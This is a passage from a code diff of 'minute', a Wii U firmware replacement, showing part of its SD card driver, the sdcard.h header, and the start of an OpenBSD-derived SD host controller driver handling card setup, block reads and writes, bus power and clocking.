DPRINTF(2, ("sdcard: rca: %08x\n", card.rca));
card.selected = 0;
card.inserted = 1;
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_SEND_CSD;
cmd.c_arg = ((u32)card.rca)<<16;
cmd.c_flags = SCF_RSP_R2;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_SEND_CSD failed with %d\n", cmd.c_error);
goto out_power;
}
resp = (u8 *)cmd.c_resp;
resp32 = (u32 *)cmd.c_resp;
DEBUG("CSD: %08lX%08lX%08lX%08lX\n", resp32[0], resp32[1], resp32[2], resp32[3]);
if (resp[13] == 0xe) { // sdhc
unsigned int c_size = resp[7] << 16 | resp[6] << 8 | resp[5];
DEBUG("sdcard: sdhc mode, c_size=%u, card size = %uk\n", c_size, (c_size + 1)* 512);
card.num_sectors = (c_size + 1) * 1024; // number of 512-byte sectors
}
else {
unsigned int taac, nsac, read_bl_len, c_size, c_size_mult;
taac = resp[13];
nsac = resp[12];
read_bl_len = resp[9] & 0xF;
c_size = (resp[8] & 3) << 10;
c_size |= (resp[7] << 2);
c_size |= (resp[6] >> 6);
c_size_mult = (resp[5] & 3) << 1;
c_size_mult |= resp[4] >> 7;
DEBUG("taac=%u nsac=%u read_bl_len=%u c_size=%u c_size_mult=%u card size=%u bytes\n",
taac, nsac, read_bl_len, c_size, c_size_mult, (c_size + 1) * (4 << c_size_mult) * (1 << read_bl_len));
card.num_sectors = (c_size + 1) * (4 << c_size_mult) * (1 << read_bl_len) / 512;
}
sdcard_select();
DPRINTF(2, ("mlc: MMC_SEND_STATUS\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_SEND_STATUS;
cmd.c_arg = ((u32)card.rca)<<16;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("mlc: MMC_SEND_STATUS failed with %d\n", cmd.c_error);
card.inserted = card.selected = 0;
goto out_clock;
}
DPRINTF(2, ("sdcard: MMC_SET_BLOCKLEN\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_SET_BLOCKLEN;
cmd.c_arg = SDMMC_DEFAULT_BLOCKLEN;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_SET_BLOCKLEN failed with %d\n", cmd.c_error);
card.inserted = card.selected = 0;
goto out_clock;
}
DPRINTF(2, ("sdcard: MMC_APP_CMD\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_APP_CMD;
cmd.c_arg = ((u32)card.rca)<<16;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_APP_CMD failed with %d\n", cmd.c_error);
card.inserted = card.selected = 0;
goto out_clock;
}
DPRINTF(2, ("sdcard: SD_APP_SET_BUS_WIDTH\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = SD_APP_SET_BUS_WIDTH;
cmd.c_arg = SD_ARG_BUS_WIDTH_4;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: SD_APP_SET_BUS_WIDTH failed with %d\n", cmd.c_error);
card.inserted = card.selected = 0;
goto out_clock;
}
sdhc_bus_width(card.handle, 4);
DPRINTF(1, ("sdcard: enabling clock\n"));
if (sdhc_bus_clock(card.handle, SDMMC_SDCLK_25MHZ, SDMMC_TIMING_LEGACY) != 0) {
DEBUG("sdcard: could not enable clock for card\n");
goto out_power;
}
return;
out_clock:
sdhc_bus_width(card.handle, 1);
sdhc_bus_clock(card.handle, SDMMC_SDCLK_OFF, SDMMC_TIMING_LEGACY);
out_power:
sdhc_bus_power(card.handle, 0);
out:
return;
}
int sdcard_select(void)
{
struct sdmmc_command cmd;
DPRINTF(2, ("sdcard: MMC_SELECT_CARD\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_SELECT_CARD;
cmd.c_arg = ((u32)card.rca)<<16;
cmd.c_flags = SCF_RSP_R1B;
sdhc_exec_command(card.handle, &cmd);
DEBUG("%s: resp=%lx\n", __FUNCTION__, MMC_R1(cmd.c_resp));
// sdhc_dump_regs(card.handle);
// DEBUG("present state = %x\n", HREAD4(hp, SDHC_PRESENT_STATE));
if (cmd.c_error) {
DEBUG("sdcard: MMC_SELECT card failed with %d.\n", cmd.c_error);
return -1;
}
card.selected = 1;
return 0;
}
int sdcard_check_card(void)
{
if (card.inserted == 0)
return SDMMC_NO_CARD;
if (card.new_card == 1)
return SDMMC_NEW_CARD;
return SDMMC_INSERTED;
}
int sdcard_ack_card(void)
{
if (card.new_card == 1) {
card.new_card = 0;
return 0;
}
return -1;
}
int sdcard_start_read(u32 blk_start, u32 blk_count, void *data, struct sdmmc_command* cmdbuf)
{
// DEBUG("%s(%u, %u, %p)\n", __FUNCTION__, blk_start, blk_count, data);
if (card.inserted == 0) {
DEBUG("sdcard: READ: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: READ: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
memset(cmdbuf, 0, sizeof(struct sdmmc_command));
if(blk_count > 1) {
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_MULTIPLE\n"));
cmdbuf->c_opcode = MMC_READ_BLOCK_MULTIPLE;
} else {
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_SINGLE\n"));
cmdbuf->c_opcode = MMC_READ_BLOCK_SINGLE;
}
if (card.sdhc_blockmode)
cmdbuf->c_arg = blk_start;
else
cmdbuf->c_arg = blk_start * SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_data = data;
cmdbuf->c_datalen = blk_count * SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_blklen = SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_flags = SCF_RSP_R1 | SCF_CMD_READ;
sdhc_async_command(card.handle, cmdbuf);
if (cmdbuf->c_error) {
DEBUG("sdcard: MMC_READ_BLOCK_%s failed with %d\n", blk_count > 1 ? "MULTIPLE" : "SINGLE", cmdbuf->c_error);
return -1;
}
if(blk_count > 1)
DPRINTF(2, ("sdcard: async MMC_READ_BLOCK_MULTIPLE started\n"));
else
DPRINTF(2, ("sdcard: async MMC_READ_BLOCK_SINGLE started\n"));
return 0;
}
int sdcard_end_read(struct sdmmc_command* cmdbuf)
{
// DEBUG("%s(%u, %u, %p)\n", __FUNCTION__, blk_start, blk_count, data);
if (card.inserted == 0) {
DEBUG("sdcard: READ: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: READ: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
sdhc_async_response(card.handle, cmdbuf);
if (cmdbuf->c_error) {
DEBUG("sdcard: MMC_READ_BLOCK_%s failed with %d\n", cmdbuf->c_opcode == MMC_READ_BLOCK_MULTIPLE ? "MULTIPLE" : "SINGLE", cmdbuf->c_error);
return -1;
}
if(cmdbuf->c_opcode == MMC_READ_BLOCK_MULTIPLE)
DPRINTF(2, ("sdcard: async MMC_READ_BLOCK_MULTIPLE finished\n"));
else
DPRINTF(2, ("sdcard: async MMC_READ_BLOCK_SINGLE finished\n"));
return 0;
}
int sdcard_read(u32 blk_start, u32 blk_count, void *data)
{
struct sdmmc_command cmd;
// DEBUG("%s(%u, %u, %p)\n", __FUNCTION__, blk_start, blk_count, data);
if (card.inserted == 0) {
DEBUG("sdcard: READ: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: READ: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
memset(&cmd, 0, sizeof(cmd));
if(blk_count > 1) {
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_MULTIPLE\n"));
cmd.c_opcode = MMC_READ_BLOCK_MULTIPLE;
} else {
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_SINGLE\n"));
cmd.c_opcode = MMC_READ_BLOCK_SINGLE;
}
if (card.sdhc_blockmode)
cmd.c_arg = blk_start;
else
cmd.c_arg = blk_start * SDMMC_DEFAULT_BLOCKLEN;
cmd.c_data = data;
cmd.c_datalen = blk_count * SDMMC_DEFAULT_BLOCKLEN;
cmd.c_blklen = SDMMC_DEFAULT_BLOCKLEN;
cmd.c_flags = SCF_RSP_R1 | SCF_CMD_READ;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_READ_BLOCK_%s failed with %d\n", blk_count > 1 ? "MULTIPLE" : "SINGLE", cmd.c_error);
return -1;
}
if(blk_count > 1)
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_MULTIPLE done\n"));
else
DPRINTF(2, ("sdcard: MMC_READ_BLOCK_SINGLE done\n"));
return 0;
}
#ifndef LOADER
int sdcard_start_write(u32 blk_start, u32 blk_count, void *data, struct sdmmc_command* cmdbuf)
{
if (card.inserted == 0) {
DEBUG("sdcard: WRITE: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: WRITE: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
memset(cmdbuf, 0, sizeof(struct sdmmc_command));
if(blk_count > 1) {
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_MULTIPLE\n"));
cmdbuf->c_opcode = MMC_WRITE_BLOCK_MULTIPLE;
} else {
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_SINGLE\n"));
cmdbuf->c_opcode = MMC_WRITE_BLOCK_SINGLE;
}
if (card.sdhc_blockmode)
cmdbuf->c_arg = blk_start;
else
cmdbuf->c_arg = blk_start * SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_data = data;
cmdbuf->c_datalen = blk_count * SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_blklen = SDMMC_DEFAULT_BLOCKLEN;
cmdbuf->c_flags = SCF_RSP_R1;
sdhc_async_command(card.handle, cmdbuf);
if (cmdbuf->c_error) {
DEBUG("sdcard: MMC_WRITE_BLOCK_%s failed with %d\n", blk_count > 1 ? "MULTIPLE" : "SINGLE", cmdbuf->c_error);
return -1;
}
if(blk_count > 1)
DPRINTF(2, ("sdcard: async MMC_WRITE_BLOCK_MULTIPLE started\n"));
else
DPRINTF(2, ("sdcard: async MMC_WRITE_BLOCK_SINGLE started\n"));
return 0;
}
int sdcard_end_write(struct sdmmc_command* cmdbuf)
{
if (card.inserted == 0) {
DEBUG("sdcard: WRITE: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: WRITE: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
sdhc_async_response(card.handle, cmdbuf);
if (cmdbuf->c_error) {
DEBUG("sdcard: MMC_WRITE_BLOCK_%s failed with %d\n", cmdbuf->c_opcode == MMC_WRITE_BLOCK_MULTIPLE ? "MULTIPLE" : "SINGLE", cmdbuf->c_error);
return -1;
}
if(cmdbuf->c_opcode == MMC_WRITE_BLOCK_MULTIPLE)
DPRINTF(2, ("sdcard: async MMC_WRITE_BLOCK_MULTIPLE finished\n"));
else
DPRINTF(2, ("sdcard: async MMC_WRITE_BLOCK_SINGLE finished\n"));
return 0;
}
int sdcard_write(u32 blk_start, u32 blk_count, void *data)
{
struct sdmmc_command cmd;
if (card.inserted == 0) {
DEBUG("sdcard: WRITE: no card inserted.\n");
return -1;
}
if (card.selected == 0) {
if (sdcard_select() < 0) {
DEBUG("sdcard: WRITE: cannot select card.\n");
return -1;
}
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
memset(&cmd, 0, sizeof(cmd));
if(blk_count > 1) {
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_MULTIPLE\n"));
cmd.c_opcode = MMC_WRITE_BLOCK_MULTIPLE;
} else {
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_SINGLE\n"));
cmd.c_opcode = MMC_WRITE_BLOCK_SINGLE;
}
if (card.sdhc_blockmode)
cmd.c_arg = blk_start;
else
cmd.c_arg = blk_start * SDMMC_DEFAULT_BLOCKLEN;
cmd.c_data = data;
cmd.c_datalen = blk_count * SDMMC_DEFAULT_BLOCKLEN;
cmd.c_blklen = SDMMC_DEFAULT_BLOCKLEN;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_WRITE_BLOCK_%s failed with %d\n", blk_count > 1 ? "MULTIPLE" : "SINGLE", cmd.c_error);
return -1;
}
if(blk_count > 1)
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_MULTIPLE done\n"));
else
DPRINTF(2, ("sdcard: MMC_WRITE_BLOCK_SINGLE done\n"));
return 0;
}
int sdcard_wait_data(void)
{
struct sdmmc_command cmd;
do
{
DPRINTF(2, ("sdcard: MMC_SEND_STATUS\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_SEND_STATUS;
cmd.c_arg = ((u32)card.rca)<<16;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_SEND_STATUS failed with %d\n", cmd.c_error);
return -1;
}
} while (!ISSET(MMC_R1(cmd.c_resp), MMC_R1_READY_FOR_DATA));
return 0;
}
int sdcard_get_sectors(void)
{
if (card.inserted == 0) {
DEBUG("sdcard: READ: no card inserted.\n");
return -1;
}
if (card.new_card == 1) {
DEBUG("sdcard: new card inserted but not acknowledged yet.\n");
return -1;
}
// sdhc_error(sdhci->reg_base, "num sectors = %u", sdhci->num_sectors);
return card.num_sectors;
}
void sdcard_irq(void)
{
sdhc_intr(&sdcard_host);
}
void sdcard_init(void)
{
struct sdhc_host_params params = {
.attach = &sdcard_attach,
.abort = &sdcard_abort,
.rb = RB_SD0,
.wb = WB_SD0,
};
clear32(LT_GPIO_INTMASK, GP_SDSLOT0_PWR);
set32(LT_GPIO_DIR, GP_SDSLOT0_PWR);
set32(LT_GPIO_ENABLE, GP_SDSLOT0_PWR);
clear32(LT_GPIO_OUT, GP_SDSLOT0_PWR);
udelay(100);
#ifdef CAN_HAZ_IRQ
irq_enable(IRQ_SD0);
#endif
sdhc_host_found(&sdcard_host, &params, 0, SD0_REG_BASE, 1);
}
void sdcard_exit(void)
{
#ifdef CAN_HAZ_IRQ
irq_disable(IRQ_SD0);
#endif
sdhc_shutdown(&sdcard_host);
#ifdef CAN_HAZ_IRQ
irq_disable(IRQ_SD0);
#endif
}
#endif

41
stage2/sdcard.h Normal file
View File

@ -0,0 +1,41 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __SDCARD_H__
#define __SDCARD_H__
#include "bsdtypes.h"
#include "sdmmc.h"
void sdcard_init(void);
void sdcard_exit(void);
void sdcard_irq(void);
void sdcard_attach(sdmmc_chipset_handle_t handle);
void sdcard_needs_discover(void);
int sdcard_wait_data(void);
int sdcard_select(void);
int sdcard_check_card(void);
int sdcard_ack_card(void);
int sdcard_get_sectors(void);
int sdcard_read(u32 blk_start, u32 blk_count, void *data);
int sdcard_write(u32 blk_start, u32 blk_count, void *data);
int sdcard_start_read(u32 blk_start, u32 blk_count, void *data, struct sdmmc_command* cmdbuf);
int sdcard_end_read(struct sdmmc_command* cmdbuf);
int sdcard_start_write(u32 blk_start, u32 blk_count, void *data, struct sdmmc_command* cmdbuf);
int sdcard_end_write(struct sdmmc_command* cmdbuf);
#endif

903
stage2/sdhc.c Normal file
View File

@ -0,0 +1,903 @@
/*
* Copyright (c) 2006 Uwe Stuehler <uwe@openbsd.org>
* Copyright (c) 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (c) 2016 Daz Jones <daz@dazzozo.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* SD Host Controller driver based on the SD Host Controller Standard
* Simplified Specification Version 1.00 (www.sdcard.com).
*/
#include "bsdtypes.h"
#include "memory.h"
#include "utils.h"
#include "sdmmc.h"
#include "sdhc.h"
#include <string.h>
#include "debug.h"
#ifdef CAN_HAZ_IRQ
#include "irq.h"
#endif
//#define SDHC_DEBUG
#define SDHC_COMMAND_TIMEOUT 500
#define SDHC_TRANSFER_TIMEOUT 5000
#define sdhc_wait_intr(a,b,c) sdhc_wait_intr_debug(__func__, __LINE__, a, b, c)
static inline u32 bus_space_read_4(bus_space_handle_t ioh, u32 reg)
{
return read32(ioh + reg);
}
static inline u16 bus_space_read_2(bus_space_handle_t ioh, u32 reg)
{
if(reg & 3)
return (read32((ioh + reg) & ~3) & 0xffff0000) >> 16;
else
return (read32(ioh + reg) & 0xffff);
}
static inline u8 bus_space_read_1(bus_space_handle_t ioh, u32 reg)
{
u32 mask;
u32 addr;
u8 shift;
shift = (reg & 3) * 8;
mask = (0xFF << shift);
addr = ioh + reg;
return (read32(addr & ~3) & mask) >> shift;
}
static inline void bus_space_write_4(bus_space_handle_t ioh, u32 r, u32 v)
{
write32(ioh + r, v);
}
static inline void bus_space_write_2(bus_space_handle_t ioh, u32 r, u16 v)
{
if(r & 3)
mask32((ioh + r) & ~3, 0xffff0000, v << 16);
else
mask32((ioh + r), 0xffff, ((u32)v));
}
static inline void bus_space_write_1(bus_space_handle_t ioh, u32 r, u8 v)
{
u32 mask;
u32 addr;
u8 shift;
shift = (r & 3) * 8;
mask = (0xFF << shift);
addr = ioh + r;
mask32(addr & ~3, mask, v << shift);
}
/* flag values */
#define SHF_USE_DMA 0x0001
#define HREAD1(hp, reg) \
(bus_space_read_1((hp)->ioh, (reg)))
#define HREAD2(hp, reg) \
(bus_space_read_2((hp)->ioh, (reg)))
#define HREAD4(hp, reg) \
(bus_space_read_4((hp)->ioh, (reg)))
#define HWRITE1(hp, reg, val) \
bus_space_write_1((hp)->ioh, (reg), (val))
#define HWRITE2(hp, reg, val) \
bus_space_write_2((hp)->ioh, (reg), (val))
#define HWRITE4(hp, reg, val) \
bus_space_write_4((hp)->ioh, (reg), (val))
#define HCLR1(hp, reg, bits) \
HWRITE1((hp), (reg), HREAD1((hp), (reg)) & ~(bits))
#define HCLR2(hp, reg, bits) \
HWRITE2((hp), (reg), HREAD2((hp), (reg)) & ~(bits))
#define HSET1(hp, reg, bits) \
HWRITE1((hp), (reg), HREAD1((hp), (reg)) | (bits))
#define HSET2(hp, reg, bits) \
HWRITE2((hp), (reg), HREAD2((hp), (reg)) | (bits))
int sdhc_start_command(struct sdhc_host *, struct sdmmc_command *);
int sdhc_wait_state(struct sdhc_host *, u_int32_t, u_int32_t);
int sdhc_soft_reset(struct sdhc_host *, int);
void sdhc_reset_intr_status(struct sdhc_host *hp);
int sdhc_wait_intr_debug(const char *func, int line, struct sdhc_host *, int, int);
void sdhc_transfer_data(struct sdhc_host *, struct sdmmc_command *);
void sdhc_read_data(struct sdhc_host *, u_char *, int);
void sdhc_write_data(struct sdhc_host *, u_char *, int);
#ifdef SDHC_DEBUG
int sdhcdebug = 3;
#define DPRINTF(n,s) do { if ((n) <= sdhcdebug) printf s; } while (0)
void sdhc_dump_regs(struct sdhc_host *);
#else
#define DPRINTF(n,s) do {} while(0)
#endif
/*
* Called by attachment driver. For each SD card slot there is one SD
* host controller standard register set. (1.3)
*/
int
sdhc_host_found(struct sdhc_host *hp, struct sdhc_host_params *pa, bus_space_tag_t iot, bus_space_handle_t ioh, int usedma)
{
u_int32_t caps;
int error = 1;
int max_clock;
#ifdef SDHC_DEBUG
u_int16_t version;
version = HREAD2(hp, SDHC_HOST_CTL_VERSION);
DEBUG("sdhc: SD Host Specification/Vendor Version ");
switch(SDHC_SPEC_VERSION(version)) {
case 0x00:
DEBUG("1.0/%u\n", SDHC_VENDOR_VERSION(version));
break;
default:
DEBUG(">1.0/%u\n", SDHC_VENDOR_VERSION(version));
break;
}
#endif
memset(hp, 0, sizeof(struct sdhc_host));
/* Fill in the new host structure. */
hp->iot = iot;
hp->ioh = ioh;
hp->data_command = 0;
memcpy(&hp->pa, pa, sizeof(struct sdhc_host_params));
/* Store specification version. */
hp->version = HREAD2(hp, SDHC_HOST_CTL_VERSION);
/*
* Reset the host controller and enable interrupts.
*/
(void)sdhc_host_reset(hp);
/* Determine host capabilities. */
caps = HREAD4(hp, SDHC_CAPABILITIES);
/* Use DMA if the host system and the controller support it. */
if (usedma && ISSET(caps, SDHC_DMA_SUPPORT))
SET(hp->flags, SHF_USE_DMA);
/*
* Determine the base clock frequency. (2.2.24)
*/
if (SDHC_SPEC_VERSION(hp->version) >= SDHC_SPEC_V3) {
/* SDHC 3.0 supports 10-255 MHz. */
max_clock = 255000;
if (SDHC_BASE_FREQ_KHZ_V3(caps) != 0)
hp->clkbase = SDHC_BASE_FREQ_KHZ_V3(caps);
} else {
/* SDHC 1.0/2.0 supports only 10-63 MHz. */
max_clock = 63000;
if (SDHC_BASE_FREQ_KHZ(caps) != 0)
hp->clkbase = SDHC_BASE_FREQ_KHZ(caps);
}
if (hp->clkbase == 0) {
/* The attachment driver must tell us. */
DEBUG("sdhc: base clock frequency unknown\n");
goto err;
} else if (hp->clkbase < 10000 || hp->clkbase > max_clock) {
DEBUG("sdhc: base clock frequency out of range: %u MHz\n",
hp->clkbase / 1000);
goto err;
}
DEBUG("sdhc: SDHC %d.0, %d MHz base clock\n",
SDHC_SPEC_VERSION(hp->version) + 1, hp->clkbase / 1000);
/*
* Determine SD bus voltage levels supported by the controller.
*/
if (ISSET(caps, SDHC_VOLTAGE_SUPP_1_8V))
SET(hp->ocr, MMC_OCR_1_9V_2_0V);
if (ISSET(caps, SDHC_VOLTAGE_SUPP_3_0V))
SET(hp->ocr, MMC_OCR_2_9V_3_0V | MMC_OCR_3_0V_3_1V);
if (ISSET(caps, SDHC_VOLTAGE_SUPP_3_3V))
SET(hp->ocr, MMC_OCR_3_2V_3_3V | MMC_OCR_3_3V_3_4V);
/*
* Attach the generic SD/MMC bus driver. (The bus driver must
* not invoke any chipset functions before it is attached.)
*/
hp->pa.attach(hp);
return 0;
err:
return (error);
}
#ifndef LOADER
/*
* Shutdown hook established by or called from attachment driver.
*/
void
sdhc_shutdown(struct sdhc_host *hp)
{
/* XXX chip locks up if we don't disable it before reboot. */
(void)sdhc_host_reset(hp);
}
#endif
/*
* Reset the host controller. Called during initialization, when
* cards are removed, upon resume, and during error recovery.
*/
int
sdhc_host_reset(struct sdhc_host *hp)
{
u_int16_t imask;
int error;
/* Disable all interrupts. */
HWRITE2(hp, SDHC_NINTR_SIGNAL_EN, 0);
/*
* Reset the entire host controller and wait up to 100ms for
* the controller to clear the reset bit.
*/
if ((error = sdhc_soft_reset(hp, SDHC_RESET_ALL)) != 0) {
return (error);
}
/* Set data timeout counter value to max for now. */
HWRITE1(hp, SDHC_TIMEOUT_CTL, SDHC_TIMEOUT_MAX);
/* Enable interrupts. */
imask =
#ifndef LOADER
SDHC_CARD_REMOVAL | SDHC_CARD_INSERTION |
#endif
SDHC_BUFFER_READ_READY | SDHC_BUFFER_WRITE_READY |
SDHC_DMA_INTERRUPT | SDHC_BLOCK_GAP_EVENT |
SDHC_TRANSFER_COMPLETE | SDHC_COMMAND_COMPLETE;
HWRITE2(hp, SDHC_NINTR_STATUS_EN, imask);
HWRITE2(hp, SDHC_EINTR_STATUS_EN, SDHC_EINTR_STATUS_MASK);
HWRITE2(hp, SDHC_NINTR_SIGNAL_EN, imask);
HWRITE2(hp, SDHC_EINTR_SIGNAL_EN, SDHC_EINTR_SIGNAL_MASK);
return 0;
}
/*
* Return non-zero if the card is currently inserted.
*/
int
sdhc_card_detect(struct sdhc_host *hp)
{
return ISSET(HREAD4(hp, SDHC_PRESENT_STATE), SDHC_CARD_INSERTED) ?
1 : 0;
}
/*
* Set or change SD bus voltage and enable or disable SD bus power.
* Return zero on success.
*/
int
sdhc_bus_power(struct sdhc_host *hp, u_int32_t ocr)
{
u_int8_t vdd;
DEBUG("sdhc_bus_power(0x%lx)\n", ocr);
/* Disable bus power before voltage change. */
HWRITE1(hp, SDHC_POWER_CTL, 0);
/* If power is disabled, reset the host and return now. */
if (ocr == 0) {
(void)sdhc_host_reset(hp);
return 0;
}
/*
* Select the maximum voltage according to capabilities.
*/
ocr &= hp->ocr;
if (ISSET(ocr, MMC_OCR_3_2V_3_3V|MMC_OCR_3_3V_3_4V))
vdd = SDHC_VOLTAGE_3_3V;
else if (ISSET(ocr, MMC_OCR_2_9V_3_0V|MMC_OCR_3_0V_3_1V))
vdd = SDHC_VOLTAGE_3_0V;
else if (ISSET(ocr, MMC_OCR_1_9V_2_0V))
vdd = SDHC_VOLTAGE_1_8V;
else {
/* Unsupported voltage level requested. */
return EINVAL;
}
/*
* Enable bus power. Wait at least 1 ms (or 74 clocks) plus
* voltage ramp until power rises.
*/
HWRITE1(hp, SDHC_POWER_CTL, (vdd << SDHC_VOLTAGE_SHIFT) |
SDHC_BUS_POWER);
udelay(10000);
/*
* The host system may not power the bus due to battery low,
* etc. In that case, the host controller should clear the
* bus power bit.
*/
if (!ISSET(HREAD1(hp, SDHC_POWER_CTL), SDHC_BUS_POWER)) {
DEBUG("Host controller failed to enable bus power\n");
return ENXIO;
}
return 0;
}
/*
* Return the smallest possible base clock frequency divisor value
* for the CLOCK_CTL register to produce `freq' (KHz).
*/
static int
sdhc_clock_divisor(struct sdhc_host *hp, u_int freq)
{
int max_div = 256;
int div;
if (SDHC_SPEC_VERSION(hp->version) >= SDHC_SPEC_V3)
max_div = 2046;
for (div = 1; div <= max_div; div *= 2)
if ((hp->clkbase / div) <= freq)
return (div / 2);
/* No divisor found. */
return -1;
}
/*
* Set or change SDCLK frequency or disable the SD clock.
* Return zero on success.
*/
int
sdhc_bus_clock(struct sdhc_host *hp, int freq, int timing)
{
int div;
int timo;
int sdclk;
DEBUG("%s(%d, %d)\n", __FUNCTION__, freq, timing);
#ifdef DIAGNOSTIC
/* Must not stop the clock if commands are in progress. */
if (ISSET(HREAD4(hp, SDHC_PRESENT_STATE), SDHC_CMD_INHIBIT_MASK) &&
sdhc_card_detect(hp))
DEBUG("sdhc_sdclk_frequency_select: command in progress\n");
#endif
/* Stop SD clock before changing the frequency. */
HWRITE2(hp, SDHC_CLOCK_CTL, 0);
if (freq == SDMMC_SDCLK_OFF)
return 0;
if (timing == SDMMC_TIMING_LEGACY)
HCLR1(hp, SDHC_HOST_CTL, SDHC_HIGH_SPEED);
else
HSET1(hp, SDHC_HOST_CTL, SDHC_HIGH_SPEED);
/* Set the minimum base clock frequency divisor. */
if ((div = sdhc_clock_divisor(hp, freq)) < 0) {
/* Invalid base clock frequency or `freq' value. */
return EINVAL;
}
if (SDHC_SPEC_VERSION(hp->version) >= SDHC_SPEC_V3)
sdclk = SDHC_SDCLK_DIV_V3(div);
else
sdclk = SDHC_SDCLK_DIV(div);
HWRITE2(hp, SDHC_CLOCK_CTL, sdclk);
/* Start internal clock. Wait 10ms for stabilization. */
HSET2(hp, SDHC_CLOCK_CTL, SDHC_INTCLK_ENABLE);
for (timo = 1000; timo > 0; timo--) {
if (ISSET(HREAD2(hp, SDHC_CLOCK_CTL), SDHC_INTCLK_STABLE))
break;
udelay(10);
}
if (timo == 0) {
DEBUG("sdhc: internal clock never stabilized\n");
return ETIMEDOUT;
}
/* Enable SD clock. */
HSET2(hp, SDHC_CLOCK_CTL, SDHC_SDCLK_ENABLE);
return 0;
}
int
sdhc_bus_width(struct sdhc_host *hp, int width)
{
int reg;
DEBUG("%s(%d)\n", __FUNCTION__, width);
if (width != 1 && width != 4 && width != 8)
return EINVAL;
reg = HREAD1(hp, SDHC_HOST_CTL);
reg &= ~(SDHC_4BIT_MODE | SDHC_8BIT_MODE);
if (width == 4) {
reg |= SDHC_4BIT_MODE;
} else if (width == 8) {
reg |= SDHC_8BIT_MODE;
}
HWRITE1(hp, SDHC_HOST_CTL, reg);
return 0;
}
void
sdhc_card_intr_mask(struct sdhc_host *hp, int enable)
{
if (enable) {
HSET2(hp, SDHC_NINTR_STATUS_EN, SDHC_CARD_INTERRUPT);
HSET2(hp, SDHC_NINTR_SIGNAL_EN, SDHC_CARD_INTERRUPT);
} else {
